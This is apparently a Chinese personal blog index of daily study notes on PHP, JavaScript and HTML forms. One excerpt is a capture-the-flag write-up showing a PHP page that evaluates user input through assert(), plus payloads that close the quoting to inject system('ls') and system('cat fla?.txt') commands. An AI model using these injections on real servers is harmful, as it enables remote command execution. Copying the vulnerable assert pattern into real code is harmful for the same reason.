Robin

LiuGuobin's blog

每日一记

文件包含

文件1
function add()
{
    echo '执行';
}
add增加,del删除,update更改,select查询
文件2
include ('文件1.php');          //调用文件
add();                         //调用函数

include与require区别
include在没有这个文件时报错并执行,但是require报错但是不执行
include_once与require_once区别
可以重复调用文件,区别同上

数组

定义
阅读全文 »

每日一记

开始学习PHP

基本概念

PHP是超文本预处理器
运行在服务器端,内嵌在html脚本语言
由wampserver等集成环境,有mysql数据库和apache服务
使用localhost或127.0.0.1访问
写入的php文件一定要放在www目录下

php信息

阅读全文 »

每日一记

递归

递归:调用函数时调用自身
最大的嵌套调用次数(包括首次)被称为 递归深度。

两种思考方式:
1.迭代思路:使用 for 循环
2.递归思路:简化任务,调用自身

堆栈

阅读全文 »

每日一记

数组

数组(Array)能存储有序的集合

声明:

let arr = new Array();
let fruits = ["Apple", "Orange", "Plum"];
重新定义就能更改value
增加array只需要定义新位置
fruits.length是元素的个数
以逗号结尾
阅读全文 »

每日一记

原始类型的方法

原始类型和对象之间的关键区别。

一个原始值:
是原始类型中的一种值。
在 JavaScript 中有 7 种原始类型:string,number,bigint,boolean,symbol,null 和 undefined。
一个对象:
能够存储多个值作为属性。
可以使用大括号 {} 创建对象,例如:{name: “John”, age: 30}。JavaScript 中还有其他种类的对象,例如函数就是对象。
原始类型不是对象,它们不能存储额外的数据。

数字类型

阅读全文 »

404页面:

url+404/

命令执行:
<?php
error_reporting(0);
if(isset($_GET['c'])){
    $c = $_GET['c'];
    if($_GET['c'] === "flag"){            如果 c=flag 的话,会看到 flag.php 文件
        highlight_file("flag.php");
    }

    if(!preg_match("/flag/i", $c)){       正则匹配过滤 flag 字符
        $page = $_GET['c'];
    }
    
assert("file_exists('$page')");           assert 函数

}else{
    highlight_file(__FILE__);
}
?>
利用assert函数的特性,实现命令执行
assert函数里面的参数为字符串时,会将字符串当做php命令来执行。
assert('phpinfo()')=<?php phpinfo()?>
构造闭合函数,使 assert 函数执行系统命令
为还过滤了 flag 字符,使用?匹配符绕过

Payload:
?c=1') or system('ls
?c=1') or system('cat fla?.txt
反序列化
阅读全文 »

每日一记

注:本章节较难,请选择性阅读

对象

使用{…}来创建对象。一个属性就是一个键值对(“key: value”),其中键是一个字符串(也叫做属性名),值可以是任何值。

构造对象方法:
let user = new Object();     // “构造函数” 的语法
let user = {};               // “字面量” 的语法

读取文件的属性:
alert( user.name );          // John
alert( user.age );           // 30

移除属性:
delete user.age;             // 移除age这个key

方括号:
let user = {};
// 设置
user["likes birds"] = true;  // 单引号或双引号都可以
// 读取
alert(user["likes birds"]);  // true
// 删除
delete user["likes birds"];

属性值简写:
name, 与 name: name 相同

属性名称限制:
类型会被自动地转换为字符串
但__proto__属性。不能将它设置为一个非对象的值

属性存在性测试:
alert( user.noSuchProperty === undefined );       // true 意思是没有这个属性
alert( "age" in user );                           // true 存在
阅读全文 »

每日一记

函数表达式

let sayHi = function() {
  alert( "Hello" );
};
function关键字后面没有函数名。函数表达式允许省略函数名
注意末尾会有个分号!
因为这是以 function(…) {…} 的形式创建的。它不是函数语法的一部分。
含义:"创建一个函数并将其放入变量sayHi中"。

alert( sayHi );         // 显示函数代码————因为函数是一个值
alert( sayHi() );       // 执行函数
let func = sayHi;       //将 sayHi 复制到了变量 func
回调函数
function ask(question, yes, no) {
  if (confirm(question)) yes()
  else no();
}

function showOk() {
  alert( "You agreed." );
}

function showCancel() {
  alert( "You canceled the execution." );
}

// 用法:函数 showOk 和 showCancel 被作为参数传入到 ask
ask("Do you agree?", showOk, showCancel);
阅读全文 »

每日一记

循环

while循环
let i = 0;
while (i < 3) {           #条件的结果会被转化为布尔值
  alert( i );
  i++;
}

如果循环体只有一条语句(单循环体),则可以省略大括号

阅读全文 »

每日一记

条件分支

一,if

括号里的条件表达式计算结果是 true,就会执行对应的代码块
如果有多个语句要执行,我们必须将要执行的代码块封装在大括号内

二,布尔转换
阅读全文 »

从今天开始学习JavaScript啦!

每日一记

前置知识

1.概念
    这种编程语言写出来的程序被称为脚本。它们可以被直接写在网页的 HTML 中,在页面加载的时候自动执行。
    脚本被以纯文本的形式提供和执行。它们不需要特殊的准备或编译即可运行。
2.JavaScript 引擎
   首先,引擎(如果是浏览器,则引擎被嵌入在其中)读取(“解析”)脚本。
   然后,引擎将脚本转化(“编译”)为机器语言。
   然后,机器代码快速地执行。
3.作用
   JavaScript 可以做与网页操作、用户交互和 Web 服务器相关的所有事情。
4.局限性
   (1)网页中的 JavaScript 没有直接访问操作系统的功能。
   (2)不同的标签页/窗口之间通常互不通信(“同源策略”)为了解决“同源策略”问题,两个标签页必须<都>包含一些处理这个问题的特定的 JavaScript 代码,并均允许数据交换。
   (3)可以轻松地通过互联网与当前页面所在的服务器进行通信

正文

阅读全文 »

每日一记

复选框

<input type="radio" name="1" id="man">
<label for="man">男</label>
这里做一个补充:id是为了点击文字也可以选中,不然就只能点击那个圈来选了

回归正轨
1.
type="checkbox"可以多选
2.
type="checkbox" checked="checked"就能变成默认选中
3.
disabled="disabled"或者disabled可以禁用该模块
4.
readonly是只读不能改

下拉菜单

<body>
    <select size="3" multiple>                              #size是一面可显示的选项  multiple是可多选
        <option value="a"></option>
        <option value="b"></option>                         #value是提供给后端使用的value值
        <option value="c"></option>
        <option value="d" selected></option>                #selected默认选中
    </select>
</body>
阅读全文 »